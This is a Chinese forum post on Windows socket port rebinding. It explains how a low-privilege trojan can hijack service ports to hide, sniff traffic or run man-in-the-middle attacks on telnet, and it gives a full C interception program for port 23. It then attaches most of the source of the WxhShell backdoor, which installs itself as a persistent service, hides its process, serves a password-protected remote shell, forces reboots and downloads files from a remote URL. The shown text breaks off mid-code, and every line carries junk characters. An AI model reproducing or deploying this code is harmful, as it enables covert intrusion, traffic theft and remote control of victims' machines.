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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ::GW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B 'O1dRj&6  
WU/5i 8  
  saddr.sin_family = AF_INET; ,s}7KE  
1j}e2H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8MU7|9 Q  
BHkicb?   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7bVKH[  
>$3 =yw%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |<1A<fU8a  
hr&UD|E=  
  这意味着什么?意味着可以进行如下的攻击: "cOBEhn%l  
vZ6R>f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 P $r!u%W  
3+ C;zDKa  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VVuNU"-  
f*m^x7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 QD-Bt=S7l  
{ q&`B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r' |ei,  
,>kXn1 ,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]g%HU%R-m  
C.}ho.} r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *Hv d  
Pc+,iK>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 zQGj,EAM}  
?H{?jJj$H  
  #include v9gaRqi8  
  #include f7%g=0.F  
  #include Tjj27+y*\  
  #include    =*UVe%N4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QdD@[  
  int main() r $LU$F  
  { Fv nf;']q  
  WORD wVersionRequested; |^w&dj\,  
  DWORD ret; `"xzC $  
  WSADATA wsaData; '81Rwp  
  BOOL val; t?;=\%^<  
  SOCKADDR_IN saddr; sI#h&V,9  
  SOCKADDR_IN scaddr; gaU^l73 ,C  
  int err; I'<sJs*p  
  SOCKET s; 5mZ9rLn  
  SOCKET sc; CWD $\K G  
  int caddsize; _JKz5hSl  
  HANDLE mt; =wl0  
  DWORD tid;   G+3uY25y  
  wVersionRequested = MAKEWORD( 2, 2 ); %2?"x*A  
  err = WSAStartup( wVersionRequested, &wsaData ); )R@Y$*fm  
  if ( err != 0 ) { )1)&fN41i#  
  printf("error!WSAStartup failed!\n"); IJ{VCzi  
  return -1; eI -FJ/CJ  
  } Xi=4S[.4  
  saddr.sin_family = AF_INET; ?.Ml P,/K  
   (tg+C\ S.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Wx8 cK=  
LH~ t5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iZ(p]0aP7  
  saddr.sin_port = htons(23); u^L_X A  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EYZ,GT-I  
  { 6fT^t!<i  
  printf("error!socket failed!\n"); I(9+F  
  return -1; ^w*vux|F  
  } 8nSw7:z  
  val = TRUE; UwDoueXs  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PJh97%7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `KP}pi\  
  {  sJ_3tjs)  
  printf("error!setsockopt failed!\n"); kPnuU!  
  return -1; ]/mRMm9"3h  
  } Yp $@i20  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c[?&;# feV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1fh6A`c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u/`x@u  
Ap}`Q(.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _`9WNJiL  
  { uVw|jj  
  ret=GetLastError(); S.owVMQ  
  printf("error!bind failed!\n"); <FvljKuq+  
  return -1; 0B5d$0  
  } t\ 9Y)d  
  listen(s,2); }sfv zw_  
  while(1) M !rw!,g  
  { gf,[GbZ  
  caddsize = sizeof(scaddr); (8GA;:G7G  
  //接受连接请求 d5=yAn-+=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6 c-9[-Px  
  if(sc!=INVALID_SOCKET) * x.gPG  
  { v;" pc)i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c{/KkmI  
  if(mt==NULL) ;:Y/"5h  
  { :*Z@UY   
  printf("Thread Creat Failed!\n"); 8WG_4e  
  break; qh wl  
  } 2\[ Q{T=Qe  
  } e" p5hpl  
  CloseHandle(mt); 2-wgbC5  
  } 6c[ L*1  
  closesocket(s); Nbm$ta  
  WSACleanup(); PE+{<[n  
  return 0; U9//m=_  
  }   leJ3-w{ 2  
  DWORD WINAPI ClientThread(LPVOID lpParam) /<IXCM.  
  { Mwd.S  
  SOCKET ss = (SOCKET)lpParam; 71HrpTl1fw  
  SOCKET sc; WQY\R!+  
  unsigned char buf[4096]; z`|E0~{-  
  SOCKADDR_IN saddr; /oU$TaB>(  
  long num; zvbz3a  
  DWORD val; EJ Ta~  
  DWORD ret; S%w67sGl4n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OKNGV,{`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |Lz7}g=6  
  saddr.sin_family = AF_INET; .@f )#2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "(E%JAwZ^W  
  saddr.sin_port = htons(23); 2!Pwg0%2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2{)<Df@  
  { V5d|Lpm  
  printf("error!socket failed!\n"); `b[@GGv  
  return -1; :,MI,SwnS  
  } ~*G}+Ur$2  
  val = 100; z&A# d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KRj3??b  
  { tqOx8%  
  ret = GetLastError(); 4_vJ_H-mO,  
  return -1; ] iiB|xT  
  } wafws*b%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `>{S?t<  
  { yTU'voE.|  
  ret = GetLastError(); SQf.R%cg$  
  return -1; -.7UpDg~  
  } [N*`3UZk"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 259:@bi!y  
  { 7Y*Q)DDy  
  printf("error!socket connect failed!\n"); @XX7ydG5  
  closesocket(sc); d>1#|  
  closesocket(ss); 7e<\11uI]a  
  return -1; v7D3aWoe  
  } KKJa?e`C  
  while(1) ~ouRDO  
  { lKy4Nry9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1?#Wg>7'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c}#(,<8X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qk\LfRbj  
  num = recv(ss,buf,4096,0); ig:z[k?  
  if(num>0) \&%y4=y<sE  
  send(sc,buf,num,0); v!rOT/I  
  else if(num==0) ut9R] 01:  
  break; ZvW&%*k=  
  num = recv(sc,buf,4096,0); O9MBQNwjA  
  if(num>0) z%WOv ~8~  
  send(ss,buf,num,0); `k'Dm:*`u4  
  else if(num==0) AG,;1b,:81  
  break; \!'K#%]9  
  } +Ram%"Zwh  
  closesocket(ss); /Oa.@53tK6  
  closesocket(sc); %'[ pucEF  
  return 0 ; e#{l  
  } Ya,(J0l  
^NOy: >  
=zKbvwe%X  
========================================================== F[U0TP@&*  
29h_oNO  
下边附上一个代码,,WXhSHELL fuA 8jx  
gd\b]L?>O  
========================================================== m_>~e}2'A  
T ^z M m  
#include "stdafx.h" O6r.q&U  
? 1b*9G%i  
#include <stdio.h> m?D k(DJ  
#include <string.h> Xw9"wAj  
#include <windows.h> @NJJ  
#include <winsock2.h> ` oXL  
#include <winsvc.h> jh.e&6  
#include <urlmon.h> 1"HSM =p  
sh8(+hg  
#pragma comment (lib, "Ws2_32.lib") T1~,.(#  
#pragma comment (lib, "urlmon.lib") u=p-]?  
kn7Qvk[+  
#define MAX_USER   100 // 最大客户端连接数 e!*%U= [Q  
#define BUF_SOCK   200 // sock buffer D z5(v1I9A  
#define KEY_BUFF   255 // 输入 buffer 3` \)Qm  
X+k`UM~  
#define REBOOT     0   // 重启 s2\6\8Ipn  
#define SHUTDOWN   1   // 关机 H3" D$Nv  
v_ W03\  
#define DEF_PORT   5000 // 监听端口 t%>x}b"2T  
AZjj71UE  
#define REG_LEN     16   // 注册表键长度 ||sj*K  
#define SVC_LEN     80   // NT服务名长度 3q0^7)m0  
7_ah1IEK  
// 从dll定义API KdTna6nY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r$.v"Wh)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  al:c2o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q\<^ih51  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }x}JzA+2  
5mYI5~ p  
// wxhshell配置信息 I`}<1~ue  
struct WSCFG { ]gGCy '*)  
  int ws_port;         // 监听端口 $5m_)]w4a  
  char ws_passstr[REG_LEN]; // 口令 jF%[.n[BU  
  int ws_autoins;       // 安装标记, 1=yes 0=no n`)wD~mk  
  char ws_regname[REG_LEN]; // 注册表键名 Zr@G  
  char ws_svcname[REG_LEN]; // 服务名 66~]7w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dhe ]f#d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -,#LTW<.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z;En Ay{9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *]_GFixi  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4FgY!k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `m Tc  
/!Kl  
}; 7Y(ySW  
L]HYk}oD.  
// default Wxhshell configuration ew cgg  
struct WSCFG wscfg={DEF_PORT, kaj6C_k|  
    "xuhuanlingzhe", ';bovh@*  
    1, a0ze7F<(  
    "Wxhshell", ]tVXao  
    "Wxhshell", RDu'N  
            "WxhShell Service", IW'2+EGc  
    "Wrsky Windows CmdShell Service", f@a@R$y  
    "Please Input Your Password: ", R9z^=QKcH  
  1, \3@AC7  
  "http://www.wrsky.com/wxhshell.exe", |+MV%QG;  
  "Wxhshell.exe" a,N?GxK~  
    }; +vtI1LC;_  
)pXw 3Fo  
// 消息定义模块 /y"Y o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ihJC)m`Hbl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y 3O Nn~k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #dgWXO  
char *msg_ws_ext="\n\rExit."; [oQ&}3\XJ  
char *msg_ws_end="\n\rQuit."; j\SW~}d9  
char *msg_ws_boot="\n\rReboot..."; cAE.I$T(  
char *msg_ws_poff="\n\rShutdown..."; yxa~R z/  
char *msg_ws_down="\n\rSave to "; 3y Azt*dZ  
vYNh0)$%F  
char *msg_ws_err="\n\rErr!"; }3Y3f).ZW  
char *msg_ws_ok="\n\rOK!"; @pD']=d}t  
5Y8/ZW~D0  
char ExeFile[MAX_PATH]; R]Q4+  
int nUser = 0; 9GZKT{*  
HANDLE handles[MAX_USER]; [af<FQ{  
int OsIsNt; emV@kN.  
9)qjW&`  
SERVICE_STATUS       serviceStatus; '?~k`zK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?DC3BA\)  
a,U =irBA  
// 函数声明 %8V/QimHU  
int Install(void); Pl }dA  
int Uninstall(void); Xx0}KJ q~"  
int DownloadFile(char *sURL, SOCKET wsh); _;B N;].  
int Boot(int flag); 4JHFn [%  
void HideProc(void); Ek,s6B)'d  
int GetOsVer(void); f9FsZD  
int Wxhshell(SOCKET wsl); hsQrHs'k  
void TalkWithClient(void *cs); Tdr^~dcQ  
int CmdShell(SOCKET sock); [-sE:O`yt  
int StartFromService(void); [N/[7Q/y  
int StartWxhshell(LPSTR lpCmdLine); @:. 6'ji,`  
gi7As$+E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n8M/Y}mH   
VOID WINAPI NTServiceHandler( DWORD fdwControl );  F%6`D  
imtW[y+4  
// 数据结构和表定义 j]"Yz t~u  
SERVICE_TABLE_ENTRY DispatchTable[] = UP]J `\$o  
{ m GWT</=[$  
{wscfg.ws_svcname, NTServiceMain}, OZ q/'*  
{NULL, NULL} WbS2w @8  
}; <bf^'$l  
<&o `T4  
// 自我安装 .O'gD.|^N  
int Install(void) <)]B$~(a  
{ m//(1hWv7  
  char svExeFile[MAX_PATH]; 3 SQ_9{  
  HKEY key; yVxR||e  
  strcpy(svExeFile,ExeFile); ]*^mT&$7  
5|-(Ic  
// 如果是win9x系统,修改注册表设为自启动 G2kr~FG  
if(!OsIsNt) { $2^V#GWo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Df|D/,WE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y 1 i!  
  RegCloseKey(key); nFlj`k<]Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'PlKCn`(w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nYuZg6K  
  RegCloseKey(key);  jK&kQ  
  return 0; mLO{~ruu  
    } IrXC/?^h  
  } n\ma5"n0=\  
} Y:VM 5r)  
else { I/GZ  
3yXF| yV  
// 如果是NT以上系统,安装为系统服务 &,fBg6A%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z$,1Tk"O/s  
if (schSCManager!=0) SF;;4og  
{ 8jjJ/Mz`  
  SC_HANDLE schService = CreateService -{ZTp8P>  
  ( AdB5D_ Ir  
  schSCManager, +gOCl*L  
  wscfg.ws_svcname, *kxk@(lT?  
  wscfg.ws_svcdisp, =? xA*_^  
  SERVICE_ALL_ACCESS, B{|P}fN5}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =?57*=]0M  
  SERVICE_AUTO_START, >;QkV6i7  
  SERVICE_ERROR_NORMAL, fZXJPy;n  
  svExeFile, 5-w6(uu  
  NULL, xGqe )M>8?  
  NULL, a'Qy]P}'Ug  
  NULL, q01zN:|-1  
  NULL, /PIU@$DV  
  NULL A"C%.InZ  
  ); JPiC/  
  if (schService!=0) '&3Sl?E  
  { \nx ^=4*yk  
  CloseServiceHandle(schService); Xt8;Pl  
  CloseServiceHandle(schSCManager); C did*hxJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o)?"P;UhJX  
  strcat(svExeFile,wscfg.ws_svcname); q[q#cY:0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K I$?0O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qB7.LR*'  
  RegCloseKey(key); DSy,#yA  
  return 0; /Yx 1S'5  
    } f b_tda",}  
  } eF}Q8]da  
  CloseServiceHandle(schSCManager); .$4DK*  
} 5<a)SP 0  
} J C1T033 r  
 tB[(o%k  
return 1; d+ih]?  
} #0L :h ?L  
!HqIi@>8  
// 自我卸载 ,US~p_M!  
int Uninstall(void) f<WnPoV  
{ OV>T}Fq  
  HKEY key; rP;Fh|w#  
3 T Q#3h  
if(!OsIsNt) { ,vW.vq<{q3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KE16BjX@  
  RegDeleteValue(key,wscfg.ws_regname); ; ZL<7tLDb  
  RegCloseKey(key); =}r&>|rrJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QKZm<lUL  
  RegDeleteValue(key,wscfg.ws_regname);  X\ \\RCp  
  RegCloseKey(key); N(}7M~m>  
  return 0; &N*S   
  } ~?-U J^#  
} {*t'h?b  
} Fm,A<+l@u  
else { ahS*YeS7  
}PyAmh$@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >}O1lsjW:z  
if (schSCManager!=0) 2v`VtV|B  
{ g;v{JB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zG@9-s* L  
  if (schService!=0) F>n<;<  
  { ,Xk8{ =  
  if(DeleteService(schService)!=0) { xHykU;p@  
  CloseServiceHandle(schService); V>A@Sw  
  CloseServiceHandle(schSCManager); I LF"m;  
  return 0; A>OL5TCl  
  } xJ>hN@5}i  
  CloseServiceHandle(schService); c 2?(.UV  
  } 52l|  
  CloseServiceHandle(schSCManager); xYM/{[  
} ^lRXc.c z  
} x}N+vK   
t wtGkkC  
return 1; V)Z*X88:Tv  
} ;-^WUf |  
%'4dg k  
// 从指定url下载文件 jDgiH}  
int DownloadFile(char *sURL, SOCKET wsh) ^bL.|vB  
{ vT%rg r  
  HRESULT hr; )@1_Dm@0b  
char seps[]= "/"; pwd7I  
char *token; wm*`  
char *file; mkj`z  
char myURL[MAX_PATH]; f>ED  
char myFILE[MAX_PATH]; yW|yZ(7  
z O$SL8U  
strcpy(myURL,sURL); \~jt7 Q  
  token=strtok(myURL,seps); v]U[7 j  
  while(token!=NULL) YZpF*E;6t  
  { ^;W,:y&  
    file=token; e d4T_O;  
  token=strtok(NULL,seps); evg i\"  
  } z~o%U&DO}  
AZl|; y  
GetCurrentDirectory(MAX_PATH,myFILE); %Dsa ~{  
strcat(myFILE, "\\"); V}pw ,2s  
strcat(myFILE, file); RS<c&{?  
  send(wsh,myFILE,strlen(myFILE),0); y"$|?187x  
send(wsh,"...",3,0); ./5|i*ow  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a2Q9tt>Q  
  if(hr==S_OK) :7:Nx`D8  
return 0; 1;vn*w`p  
else @%ChPjN  
return 1; r1ctW#\~8  
U G^6I5  
} a/_sL(F{  
wvT!NN K2  
// 系统电源模块 4w]u: eU  
int Boot(int flag)  >?U (w<  
{ O~fRcf:Q  
  HANDLE hToken; ,a^_ ~(C  
  TOKEN_PRIVILEGES tkp; _jU6[y|XLh  
cQgmRHZ]  
  if(OsIsNt) { H0tjN&O_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L\y,7@1%AT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HX+'{zm]  
    tkp.PrivilegeCount = 1; D9#e2ex]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s( Kf%ZoE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H -.3r  
if(flag==REBOOT) { s'~_pP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qhF/iUE  
  return 0; 2',t@<U  
} ",&}vfD4M  
else { _a15R/S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .t"s>jq 1  
  return 0; 'cH),~ z  
} vx!nC}f"k`  
  } &z1r$X.AW  
  else { !c(B^E  
if(flag==REBOOT) { 4"l(rg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bhe|q`1,E  
  return 0; I \ vu?$w  
} 6G@_!i*2F  
else { Ms^Y:,;Hi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .o|Gk 5)  
  return 0;  9l{r&]  
} Am  kHVg  
} C/!2q$  
eSa ]6  
return 1; xiA9X]FB  
} _6=6 b!hD  
G_j` 6v)  
// win9x进程隐藏模块 ^Y #?@  
void HideProc(void) 0qJ(3N  
{ LsV!Sd  
L8R|\Bx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $D9JsUij  
  if ( hKernel != NULL ) F P mLost  
  { 3@ay9!Xq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YroKC+4"i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "5Kx]y8  
    FreeLibrary(hKernel); %I6iXq#  
  } )vuxy  
fKrOz! b  
return; [|k@Suv |z  
} O$$s]R6  
[(#ncR8B  
// 获取操作系统版本 iCl,7$[*  
int GetOsVer(void) S'6(&"XC H  
{ De4+4&  
  OSVERSIONINFO winfo; Q^fli"_ :  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o5Pq>Y2T  
  GetVersionEx(&winfo); l6l)M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T!v%NZj3  
  return 1; \P{VJ^) 0  
  else 1C.<@IZ  
  return 0; m{R`1cN=Hg  
} [0MVsc=  
*QAK9mc  
// 客户端句柄模块 Z[0xqGYLB  
int Wxhshell(SOCKET wsl) Qs;bVlp!H  
{ !Otyu6&  
  SOCKET wsh; #[I`VA\x  
  struct sockaddr_in client; n/^wzG  
  DWORD myID; +sgishqn9  
gR~XkU  
  while(nUser<MAX_USER) xQaN\):^8  
{ @xO< ~  
  int nSize=sizeof(client); uiDR}   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 47 m:z5;  
  if(wsh==INVALID_SOCKET) return 1; Dyt}"r\  
D}\% Q #  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5 ^f>L2  
if(handles[nUser]==0) 9O@ eJ$  
  closesocket(wsh); O]^E%;(]}i  
else 9.1%T06$  
  nUser++; fS!%qr  
  } #\t?`\L3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RUO,tB|(_;  
6I_W4`<VeZ  
  return 0; dk{yx(Ty  
} ->K*r\T  
4V<s"  
// 关闭 socket |3"'>* J  
void CloseIt(SOCKET wsh) BhdJ/C^  
{ FeSe^^dW  
closesocket(wsh); M@s2T|bQw  
nUser--; oqUtW3y  
ExitThread(0); g<}K^)x  
} uWi+F)GS^K  
:[\}Hn=  
// 客户端请求句柄 W~dS8B=<  
void TalkWithClient(void *cs) j6IWdqXe  
{ Et`z7Q*e  
}@a_x,O/x}  
  SOCKET wsh=(SOCKET)cs; #.Ft PR  
  char pwd[SVC_LEN]; oryoGy=(yk  
  char cmd[KEY_BUFF]; }1d 6d3b  
char chr[1]; HAN#_B1.  
int i,j; `C] t2^  
_j <46^  
  while (nUser < MAX_USER) { #Du1(R  
7c4\'dt#  
if(wscfg.ws_passstr) { cq@8!Eu w]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h7I_{v8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qrm~=yU%  
  //ZeroMemory(pwd,KEY_BUFF); mpXc o *!_  
      i=0; Ay2Vz>{  
  while(i<SVC_LEN) { oDM}h +  
<P}{0Y~@*W  
  // 设置超时 >RF[0s'-  
  fd_set FdRead; $S=lm {  
  struct timeval TimeOut; [T~O%ly7x&  
  FD_ZERO(&FdRead); ~G5)ya-  
  FD_SET(wsh,&FdRead); <\2,7K{{+;  
  TimeOut.tv_sec=8; j"J2&Y2  
  TimeOut.tv_usec=0; M<g>z6   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LuR.;TiW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9$ UjZ$ v  
(K^9$w]tf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VEo>uR  
  pwd=chr[0]; R}>Gk  
  if(chr[0]==0xd || chr[0]==0xa) { ;se-IDN  
  pwd=0; N7}.9%EV  
  break; N<Ti]G  
  } !t~S.`vF  
  i++; 3vNoD  
    } zOWbdd_zl  
qK;n>BTe  
  // 如果是非法用户,关闭 socket F~{yqY5]n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }_gCWz-5?  
} xr)kHJ:v  
hp Lo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3V LwMF?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I)Lg=n$  
9[6xo!  
while(1) { i&{8a3B  
*sZOws<  
  ZeroMemory(cmd,KEY_BUFF); Ok2k; +l  
8$xg\l0?KK  
      // 自动支持客户端 telnet标准   Hz%#&E  
  j=0; 6-QTqb?U;N  
  while(j<KEY_BUFF) { xREqcH,vU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @6}c\z@AxM  
  cmd[j]=chr[0]; 0@^YxU[YN  
  if(chr[0]==0xa || chr[0]==0xd) { kM]?  
  cmd[j]=0; XvZg!<*OH  
  break; Q5{i#F7nJm  
  } C4TJS,!1rH  
  j++; 7cY_=X-?Y  
    } tezsoR!.ak  
T~=NY,n  
  // 下载文件 2vu"PeU9  
  if(strstr(cmd,"http://")) { ]0V~|<0c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;:8_H0X'K  
  if(DownloadFile(cmd,wsh)) 76mQ$ze  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r3_@ L>;  
  else lNls8@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L ?4c8!Q  
  } _"##p  
  else { gWv/3hWWB  
!T6oD]x3  
    switch(cmd[0]) { p,$1%/m  
  {cq; SH  
  // 帮助 :$dGcX}  
  case '?': { E3_EXz9 h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j?[fpN$  
    break; V ,*YM   
  } FzA_-d/_dg  
  // 安装 j#3}nJB%#i  
  case 'i': { ^HX={(ddK  
    if(Install()) X -w#E3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \SA5@.W  
    else :7@"EW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OZQhT)nS]  
    break; Yf7n0Etd,  
    } T"dX)~E;  
  // 卸载 +:mj]`=  
  case 'r': { bX=ht^e [  
    if(Uninstall()) W>bhSKV%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+JSguy  
    else %* vYX0W"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c^Rz?2x  
    break; 3yZtyXRPn  
    } (ZT*EFhb(  
  // 显示 wxhshell 所在路径 ol:,02E&  
  case 'p': { P\*-n"  
    char svExeFile[MAX_PATH]; ?dC[VYC\^  
    strcpy(svExeFile,"\n\r"); S2;{)"mS  
      strcat(svExeFile,ExeFile); ,BOB &u  
        send(wsh,svExeFile,strlen(svExeFile),0); CZxQz  
    break; no)Spo'  
    } }\OLBg/  
  // 重启 +m Mn1&  
  case 'b': { e7>)Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ()}O|JL:K  
    if(Boot(REBOOT)) xJJlVP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y? )v-YGu  
    else { mQ('X~l  
    closesocket(wsh); EYcvD^!1g  
    ExitThread(0); TB*g$ *  
    } 1CFrV=d  
    break; toX4kmC  
    } l/DV ?27  
  // 关机 LV4 x9?&  
